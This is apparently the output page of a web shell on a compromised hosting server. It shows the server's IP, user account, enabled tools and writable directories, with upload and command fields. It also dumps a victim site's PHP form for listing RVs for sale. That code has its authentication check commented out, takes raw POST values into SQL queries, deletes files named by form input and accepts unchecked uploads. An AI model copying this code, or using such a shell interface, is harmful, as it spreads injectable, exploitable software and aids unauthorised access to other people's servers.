SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 18.219.158.84
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/www//ar_cust_sale_itemadd.php
<?php
//require_once('./setting.php');
//echo ABSPATH;  exit; //  F:\xampp\htdocs\carivon/
include("./config/data.config.php"); 
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php"); 
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
$error='';
$msg='';
/*if(! isset( $_SESSION['SESS_cust_i_customerID'] ) ){  		
		header('Location: '.SUB_DIR_PROJECT.'/ar_signin.php');
		exit;
}*/

global $SITE_URL, $IMG_DIR;  
$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$sqlpara = '';
$rvtype = '';

// echo '<pre>';  print_r($_SESSION);  echo '</pre>'; // exit;

$sql = "SELECT * FROM tbl_setting  WHERE i_settingID = '1'  "; 
$result=$db->query($sql);
if($result->num_rows) {		
	foreach( $result->row AS $key=>$val){
			$$key  = stripslashes($val);
	}
		
}


// Start  Add sale items  

if(($_POST['submitForm']) && ($_POST['submitForm'] == 'yes')  ){     
	 EditProduct($_POST['v_title'], $_POST['c_status'],$_POST['i_sortOrder'], $db);
}

$sid4chld0  = 'actve';
$sid4chld2  = 'actve';
$sid4show  = 'show';
function EditProduct( $v_title, $c_status, $i_sortOrder, $db)
{  
		global $PROMPT, $ARR_GLOBAL_STATUS, $ARR_USERS, $ARR_STATUS, $HTTP_SESSION_VARS, $HTTP_POST_FILES, $HTTP_POST_VARS, $DOCUMENT_ROOT, $PIC_DIR, $BANNER_DIR, $TEMP_DIR;
        $userNameFlag = FALSE;
		$userEmailFlag = FALSE;
		$sql = "SELECT 9 FROM tbl_items  WHERE v_title = '".$v_title."'  "; 
		$result=$db->query($sql);
		if($result->num_rows) {		
		  $PROMPT = '<div class="alert alert-warning alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> Warning : </strong>Already : '.$v_title.' with  same group.
               </div>';

			//$_SESSION['msg'] = $PROMPT;
			//header('Location: '.SUB_DIR_PROJECT.'/admin/banner/by_typeadd.php');
			//exit; 
		   
        }
		 $v_show_image_type = ( !empty($_POST['v_show_image_type']))? $_POST['v_show_image_type'] : 'normal';

		//echo '<pre>'; print_r($_REQUEST); echo '</pre>';  exit; rv_select
		$sqlIn = "INSERT INTO tbl_items SET v_title = '".$_POST['v_title']."', stock = '".$_POST['stock']."', phone = '".$_POST['phone']."', year = '".addslashes($_POST['year'])."',  brand = '".addslashes($_POST['brand'])."',  model = '".addslashes($_POST['model'])."',  type = '".addslashes($_POST['type'])."',  length = '".addslashes($_POST['length'])."',  width = '".addslashes($_POST['width'])."',  location = '".addslashes($_POST['location'])."', curreny_type = '".addslashes($_POST['curreny_type'])."',  normal_price = '".addslashes($_POST['normal_price'])."', sale_price = '".addslashes($_POST['sale_price'])."',  floorplan = '".addslashes($_POST['floorplan'])."', floorplan_layout = '".addslashes($_POST['floorplan_layout'])."',  `condition` = '".addslashes($_POST['condition'])."',  quantity = '".addslashes($_POST['quantity'])."',  sleeps = '".addslashes($_POST['sleeps'])."',  water_capacity_black = '".addslashes($_POST['water_capacity_black'])."',  water_capacity_fresh = '".addslashes($_POST['water_capacity_fresh'])."',  water_capacity_grey = '".addslashes($_POST['water_capacity_grey'])."',  gvwr = '".addslashes($_POST['gvwr'])."',  dry_weight = '".addslashes($_POST['dry_weight'])."',  hitch_weight = '".addslashes($_POST['hitch_weight'])."',  of_axles = '".addslashes($_POST['of_axles'])."',  of_air_conditioners = '".addslashes($_POST['of_air_conditioners'])."',  i_sortOrder = '".addslashes($_POST['i_sortOrder'])."',  microwave = '".addslashes($_POST['microwave'])."',  air_conditioning = '".addslashes($_POST['air_conditioning'])."',  cd_player = '".addslashes($_POST['cd_player'])."',  co_detector = '".addslashes($_POST['co_detector'])."',  available_literature = '".addslashes($_POST['available_literature'])."',  roof_vents = '".addslashes($_POST['roof_vents'])."',  exterior_speakers = '".addslashes($_POST['exterior_speakers'])."',  hitch = '".addslashes($_POST['hitch'])."',  booth_dinette = '".addslashes($_POST['booth_dinette'])."',   new_arrival_text = '".addslashes($_POST['new_arrival_text'])."',   in_stock_text = '".addslashes($_POST['in_stock_text'])."',  sale_text = '".addslashes($_POST['sale_text'])."',tx_description = '".addslashes($_POST['tx_description'])."', new_rv_text = '".addslashes($_POST['new_rv_text'])."',rent_rv_text = '".addslashes($_POST['rent_rv_text'])."', sale_rv_select = '1', used_rv_select = '1', language_type = 'Yes', c_status = '2', v_show_image_type = '".$v_show_image_type."' ,stove_top_burner = '".addslashes($_POST['stove_top_burner'])."',water_heater = '".addslashes($_POST['water_heater'])."',smoke_detector = '".addslashes($_POST['smoke_detector'])."',awning = '".addslashes($_POST['awning'])."',leveling_jacks = '".addslashes($_POST['leveling_jacks'])."',power_roof_vent = '".addslashes($_POST['power_roof_vent'])."',skylight = '".addslashes($_POST['skylight'])."',slideout = '".addslashes($_POST['slideout'])."',bunk_beds = '".addslashes($_POST['bunk_beds'])."',medicine_cabinet = '".addslashes($_POST['medicine_cabinet'])."',shower = '".addslashes($_POST['shower'])."' ,toilet = '".addslashes($_POST['toilet'])."' , refrigerator = '".addslashes($_POST['refrigerator'])."' , lp_detector = '".addslashes($_POST['lp_detector'])."' ,auxiliary_battery = '".addslashes($_POST['auxiliary_battery'])."' ,  dt_addedDate = NOW() , v_type_of_addedby = 'customer' ,  i_added_by_customerId = '".$_SESSION['SESS_cust_i_customerID']."'  ";  

		$result= $db->query($sqlIn);;
		$new_i_itemID = $db->getLastId();       // delete_img_flag

		
         if($new_i_itemID){
			for( $i=1; $i < 21 ; $i++ ) {

				
				if ($_FILES["v_image".$i]["size"] > 0)
				{	$filename = $_FILES["v_image".$i]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "item/item_".$new_i_itemID.'_'.$i.''.".$extension";
					
					if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					{	$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = $newFileName;

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = $random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$newFileName";
						}

						if(move_uploaded_file($_FILES["v_image".$i]["tmp_name"], $target))
						{	
							$query1 = "update   tbl_items  set  v_image".$i." = '$newFileName' where i_itemID = '$new_i_itemID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							unlink($deltarget);

						}
					}
					
				}
			}




			for( $i=1; $i < 31 ; $i++ ) {

				
				if ($_FILES["v_3dimage".$i]["size"] > 0)
				{	$filename = $_FILES["v_3dimage".$i]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "item/item3dimg_".$new_i_itemID.'_'.$i.''.".$extension";
					
					if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					{	$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = $newFileName;

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = $random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$newFileName";
						}

						if(move_uploaded_file($_FILES["v_3dimage".$i]["tmp_name"], $target))
						{	
							$query1 = "update   tbl_items  set  v_3dimage".$i." = '$newFileName' where i_itemID = '$new_i_itemID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							unlink($deltarget);

						}
					}
					
				}
			}





				if ($_FILES["item_video"]["size"] > 0)
				{	$filename = $_FILES["item_video"]["name"];
					
					$fileArray = explode(".", $filename);
					$extension = strtolower(end($fileArray));
					$newFileName  = "item/item_video_".$new_i_itemID.'_'.$i.''.".$extension";
					
					//if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
					//{	
						
						$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
						$filename2 = $newFileName;

						while (file_exists("$target"))
						{	
							$random_number = rand(10000, 99999);
							$newFileName = $random_number."_".$filename2;
							$target = "$DOCUMENT_ROOT$newFileName";
						}

						if(move_uploaded_file($_FILES["item_video"]["tmp_name"], $target))
						{	
							$query1 = "update   tbl_items  set  item_video = '$newFileName' where i_itemID = '$new_i_itemID'";
							$db->query($query1);	
							$flag = true;

							$todel_img_name  = $_POST['todel_img_name'.$i];
							$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
							unlink($deltarget);

						}

					//}
					
				}



/////
			$PROMPT ='<div class="alert alert-success alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-check-circle"></i> Success :</strong>'.$v_title. ' '.$message.'added successfully.
                      </div>';
		 }else
		 {
		    
		    $PROMPT = '<div class="alert alert-warning alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> Warning :</strong> Sorry try again.;
               </div>';
		 }



		echo $_SESSION['msg'] = $PROMPT;  
		header('Location: '.SUB_DIR_PROJECT.'/ar_cust_sale_itemadd.php');
		exit;
	
}
// End Add sale items

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"/>
    <title>RV Way</title>
    <!-- mobile responsive meta -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<?php require_once($ROOT_DIR.'/page_content/ar/common/header_common_link1.php'); ?>
	<?php //require_once($ROOT_DIR.'/page_content/us/common/header_common_link2.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/ar/common/header_common_link3.php'); ?>
	<?php require_once($ROOT_DIR.'/page_content/ar/common/header_common_link4.php');  ?>



	<!-- tinyMCE -->
	<script language="javascript" type="text/javascript" src="<?php echo $SITE_URL;  ?>/tinymce/jscripts/tiny_mce/tiny_mce.js"></script>
	<script language="javascript" type="text/javascript">
	tinyMCE.init({
		mode : "exact",
		theme : "advanced",
		elements : "",
		plugins : "table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,zoom,flash,searchreplace,print,contextmenu",
		theme_advanced_buttons1_add_before : "save,separator",
		theme_advanced_buttons1_add : "fontselect,fontsizeselect",
		theme_advanced_buttons2_add : "separator,insertdate,inserttime,preview,zoom,separator,forecolor,backcolor",
		theme_advanced_buttons2_add_before: "cut,copy,paste,separator,search,replace,separator",
		theme_advanced_buttons3_add_before : "tablecontrols,separator",
		theme_advanced_buttons3_add : "emotions,iespell,flash,advhr,separator,print",
		theme_advanced_toolbar_location : "top",
		theme_advanced_toolbar_align : "left",
		theme_advanced_path_location : "bottom",
		content_css : "example_full.css",
	    plugin_insertdate_dateFormat : "%Y-%m-%d",
	    plugin_insertdate_timeFormat : "%H:%M:%S",
		extended_valid_elements : "a[name|href|target|title|onclick],img[class|src|border=0|alt|title|hspace|vspace|width|height|align|onmouseover|onmouseout|name],hr[class|width|size|noshade],font[face|size|color|style],span[class|align|style]",
		external_link_list_url : "example_link_list.js",
		external_image_list_url : "example_image_list.js",
		flash_external_list_url : "example_flash_list.js",
		file_browser_callback : "fileBrowserCallBack"
	});

	function fileBrowserCallBack(field_name, url, type) {
		// This is where you insert your custom filebrowser logic
		alert("Filebrowser callback: " + field_name + "," + url + "," + type);
	}
	</script>

</head>
<body>
	
	<!-- <div class="preloader"></div> -->
    <div class="page-wrapper"  >

		<!-- space for preloader -->
		<header class="site-header header-one" >
			<div class="top-header">
				<?php require_once($ROOT_DIR.'/page_content/ar/common/header_top.php'); ?>
			</div><!-- /.top-header -->
			<nav class="navbar navbar-expand-lg navbar-light header-navigation stricky header-style-one" >
				<?php require_once($ROOT_DIR.'/page_content/ar/common/header_nav.php'); ?>
            </nav>
		</header><!-- /.site-header -->
		<?php // require_once($ROOT_DIR.'/page_content/minimal-bootstrap-carousel_h.php'); ?>
		<?php // require_once($ROOT_DIR.'/page_content/us/home/minimal-bootstrap-carousel.php'); ?>
		<!--Start AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
        <div style="margin:20px 0px 20px 0px;">
            <div class="container" style="direction: rtl;">
                <div class="row">
                    <div class="col-lg-12">
<?php
$sql = "SELECT * FROM tbl_rv_setting  WHERE i_rv_settingID = '2'  ";
$result=$db->query($sql);
if($result->num_rows) {	
	foreach( $result->row AS $key=>$val){
			$$key  = stripslashes($val);
	}	
}
?>

						<?php if( $sale_rv_title != '' ){ ?><h3 class="" align="right"><?php echo $sale_rv_title; ?></h2> <?php } ?>
						<?php if( $sale_rv_short_description != '' ){ ?><h5 class=""><?php echo $sale_rv_short_description; ?></h3> <?php } ?>
					</div>
				</div>
			</div>
		</div>
        <div class="">
            <div class="container" style="direction: rtl;">


                <div class="row">
                    <div class="col-lg-3 d-none d-sm-block" style="border-right:2px solid #ccc;" >
						<?php require_once($ROOT_DIR.'/page_content/ar_my_account_sidebar.php'); ?>		
                    </div><!-- /.col-lg-4 -->
                    <div class="col-lg-9 col-sm-12 col-xs-12">
						<div class="col-sm-12" style="margin-top:2px;" align="right" >
						 <?php echo htmlentities($desc_str); ?>
						</div>						
                        
						<section class="">
								
								<?php if( $_SESSION['msg'] ){ 
									 echo $_SESSION['msg']; 
									 unset($_SESSION['msg']);
								} ?>
								
								
								<form  method="post" enctype="multipart/form-data">
								<div class="container-fluid">
								  <div class="row" align="right">
									<!-- Count item widget-->
									<?php if( $sale_rv_description != '' ){ ?><?php echo $sale_rv_description; ?><?php } ?>
									
									<div class="col-xl-12 col-md-12 col-lg-12 card">
									<br>
									   <!-- Start Form  -->
										<div class="">
										  <h4>إضافة بيع RV</h4>
										</div>
										<div class="row" >
											<div class="col-lg-6 col-sm-12"  >
											  <div class="">
												<div class="card-body">
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">عنوان </label>
													  <div class="col-sm-7">
														<input type="text" name="v_title" value="<?php echo $v_title;  ?>" class="form-control" required >
													  </div>
													</div>
													<div class="line"></div>						 
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">مخزون </label>
													  <div class="col-sm-7">
														<input type="text" name="stock" value="<?php echo $stock;  ?>" class="form-control">
													  </div>
													</div>
													
													
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">هاتف <font color="red"> * رمز البلد مطلوب </font> </label>
													  <div class="col-sm-7">
														<input type="text" name="phone" value="<?php echo $phone;  ?>"  class="form-control" required>
													  </div>
													</div>
													
													
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">الحالة</label>
													  <div class="col-sm-7">
														<select name="c_status" class="form-control">
														  <option value="1" >نشط</option>
														  <option value="0" >غير نشط</option>
														</select>
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">عام</label>
													  <div class="col-sm-7">
														<input type="text" name="year" value="<?php echo $year;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">علامة تجارية</label>
													  <div class="col-sm-7">
														<input type="text" name="brand" value="<?php echo $brand;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">نموذج</label>
													  <div class="col-sm-7">
														<input type="text" name="model" value="<?php echo $model;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">اكتب</label>
													  <div class="col-sm-7">
														<input type="text" name="type" value="<?php echo $type;  ?>"  class="form-control">
													  </div>
													</div>
												  
												</div>
											  </div>
											
											</div>
											<div class="col-lg-6 col-sm-12">
											  <div class="">
												<div class="card-body">
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">الطول</label>
													  <div class="col-sm-7">
														<input type="text" name="length" value="<?php echo $length;  ?>"  class="form-control">
													  </div>
													</div>

													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">عرض</label>
													  <div class="col-sm-7">
														<input type="text" name="width" value="<?php echo $stock;  ?>"  class="form-control">
													  </div>
													</div>


													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">موقعك</label>
													  <div class="col-sm-7">
                                                    <select name="location"  class="form-control">
                                                    <?php
                                                    $sqlcountry = "SELECT * FROM tbl_country ORDER BY name ASC";
                                                    $result_country=$db->query($sqlcountry);
                                                    if($result_country->num_rows) {	
                                                    foreach( $result_country->rows AS $CountryName){
                                                    ?>
                                                    <option><?php echo $CountryName['name']; ?></option>
                                                    <?php
                                                    }	
                                                    }
                                                    ?>
                                                    </select>
                                                    </div>
                                                    </div>
													
													
													
													
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">نوع العملة</label>
													  <div class="col-sm-7">
														<input type="text" name="curreny_type" value="<?php echo $curreny_type;  ?>" class="form-control" required >
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">السعر العادي</label>
													  <div class="col-sm-7">
														<input type="text" name="normal_price" value="<?php echo $normal_price;  ?>" class="form-control">
													  </div>
													</div>
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">سعر البيع</label>
													  <div class="col-sm-7">
														<input type="text" name="sale_price" value="<?php echo $sale_price;  ?>"  class="form-control">
													  </div>
													</div>
													
													<!--
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">مخطط الطابق</label>
													  <div class="col-sm-7">
														<input type="text" name="floorplan" value="<?php echo $floorplan;  ?>"  class="form-control">
													  </div>
													</div>
													
													-->

<!--
													<div class="line"></div>
													<div class="form-group row">
													  <label class="col-sm-5 form-control-label">مخطط الأرضية</label>
													  <div class="col-sm-7">
														<input type="text" name="floorplan_layout" value="<?php echo $floorplan_layout;  ?>"  class="form-control">
													  </div>
													</div>
													
														-->
													
												</div>
											 </div>
											</div>
										</div>

									   <!-- End Form  -->
									</div>

									

									
									
									<div class="col-xl-12 col-md-12 col-lg-12 card">
									  <div class="card-body">
										<div class="row" >
										<div class="col-lg-12 col-sm-12" >
											<h4>قطف او يقطف</h4>
										</div>										
										<?php for( $i=1; $i < 9 ; $i++ ) { ?>
											<div class="col-lg-6 col-sm-12"  >
											 <div class="form-group row">
												<div class="col-lg-5 col-sm-12"  >
												  Pic <?php echo $i;  ?> 
												</div>
												<div class="col-lg-7 col-sm-12"  >
												  <input type="file" name="v_image<?php echo $i;  ?>" class="form-control">
												 
												  <?php 
												  
													$imgpre			= 'v_imageprev'.$i;	
													echo  $imgrev  = $$imgpre;

													$delimg			= 'del_v_imageprev'.$i;	
													$delimgName			= $$delimg;
												  ?>
													<input type="hidden" name="todel_img_name<?php echo $i;  ?>" value="<?php echo $delimgName; ?>"  class="form-control">						
													
												</div>
											 </div>
											</div>
										<?php } ?>

										<HR/>
										<!--
										<div class="col-lg-12 col-sm-12"  >
											<div class="form-group row" style="padding-top: 20px; border-top:1px solid #ccc; ">
												<div class="col-lg-3 col-sm-12"  >
												  <strong>Upload Video</strong>
												</div>
												<div class="col-lg-9 col-sm-12"  >
													<input type="file" name="item_video"  id="item_video" class="form-control" >	
													
													
												</div>
											</div>
											<HR/>
										</div>
										-->

										<!--
										<div class="col-lg-12 col-sm-12"  >
											<strong>Upload Images to 3d view</strong><BR/>
											<div class="row" >
											<?php for( $i=1; $i < 31 ; $i++ ) { ?>
												<div class="col-lg-6 col-sm-12"  >
												 <div class="form-group row">
													<div class="col-lg-5 col-sm-12"  >
													  Pic <?php echo $i;  ?> 
													</div>
													<div class="col-lg-7 col-sm-12"  >
													  <input type="file" name="v_3dimage<?php echo $i;  ?>" class="form-control">
													 
													  <?php 
													  
														$imgpre			= 'v_3dimageprev'.$i;	
														
														//echo $v_3dimageprev1; exit;
														echo  $imgrev  = $$imgpre;

														$delimg			= 'del_v_3dimageprev'.$i;	
														$delimgName			= $$delimg;
													  ?>
														<input type="hidden" name="todel_3dimg_name<?php echo $i;  ?>" value="<?php echo $delimgName; ?>"  class="form-control">						
														
													</div>
												 </div>
												</div>
											<?php } ?>
											</div>
										</div>
										-->
										<HR/><BR/>
										<!--  -->
									</div>
									<div class="row" style="padding-top: 20px; border-top:1px solid #ccc; ">
										
										<div class="col-lg-3 col-sm-12"  >
											<strong>إظهار نوع الصورة</strong>
										</div>
										<div class="col-lg-4 col-sm-12"  >
										 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $non_select; ?> value="non" > لا توجد صورة
										</div>
										<div class="col-lg-4 col-sm-12"  >
										 <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $normal_select; ?> value="normal" > صورة عادية
										</div>
										<!--<div class="col-lg-2 col-sm-12"  >-->
										<!-- <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $d3_select; ?> value="3d" > 3D Image-->
										<!--</div>-->
										<!--<div class="col-lg-2 col-sm-12"  >-->
										<!-- <input type="radio" name="v_show_image_type" id="v_show_image_type" <?php echo $video_select; ?> value="video"  > Video-->
										<!--</div>-->
										
									</div>
									

										<div class="col-lg-12 col-sm-12"  >
											<div class="form-group row" style="padding-top: 20px; border-top:1px solid #ccc; ">
												<strong>التفاصل</strong> <BR style="clear:both;" >	<BR style="clear:both;" >	
												<div class="col-lg-12 col-sm-12"  >
													<textarea name="tx_description" class="form-control"><?php echo stripslashes($tx_description);  ?></textarea>
												</div>
											</div>
										</div>

										</div>
									  </div>
									</div>
									
									<div class="col-xl-12 col-md-12 col-lg-12 ">
									  <div class="row">
										<div class="col-lg-12 col-sm-12">
											<input type="hidden" name="submitForm" value="yes"  class="form-control">
											<input type="hidden" name="i_itemID" value="<?php echo $i_itemID; ?>"  class="form-control">
											<button type="submit" class="btn btn-primary" style="margin-bottom:20px;background-color:#4AAA52;"  >رقع البيانات</button><button type="reset" class="btn btn-secondary" style="margin-left:20px;margin-bottom:20px;" >إلغاء</button>
										</div>										
									</div>


								  </div>
								</div>
							 
						</section>
                        

						<div class="col-sm-12" style="margin-top:2px;" >
						 <?php echo $footer_desc_str; ?>
						</div>
                    </div><!-- /.col-lg-8 -->

                </div><!-- /.row -->
            </div><!-- /.container -->
        </div><!-- /.blog blog-single -->
		<!--End AAAAAAAAAAAAAAAAAAAAAAAAAAAAA -->
	</div><!-- /.page-wrapper -->

	<footer class="crop">
		<?php  require_once($ROOT_DIR.'/page_content/ar/common/footer_middle.php'); ?>
		<?php require_once($ROOT_DIR.'/page_content/ar/common/footer_bottom.php'); ?>
	</footer>
    <a href="#" data-target="html" class="scroll-to-target scroll-to-top"><i class="fa fa-long-arrow-up"></i></a>
    <!-- /.scroll-to-top -->
	<?php require_once($ROOT_DIR.'/page_content/ar/common/footer_js.php'); ?>

		<script >
		   $('#partner_tab_2').hide();
		   $(".tabparner").on("click", function(){
			var tabparner_id = $(this).attr('id');
				//alert("The paragraph was clicked." + tabparner_id);
				if( tabparner_id == 'tab_1' ){
					$("#tab_1").addClass("activetab");
					$("#tab_1").removeClass("deactivetab");
					$("#tab_2").removeClass("activetab");
					$("#tab_2").addClass("deactivetab");
					$('#partner_tab_1').show();
					$('#partner_tab_2').hide();
				}
				
				if( tabparner_id == 'tab_2' ){
					$("#tab_2").addClass("activetab");
					$("#tab_2").removeClass("deactivetab");
					$("#tab_1").removeClass("activetab");
					$("#tab_1").addClass("deactivetab");
					$('#partner_tab_1').hide();
					$('#partner_tab_2').show();
				}
				
		   }); 


		
		</script>


    </body>
</html>

Anon7 - 2022
SCDN GOK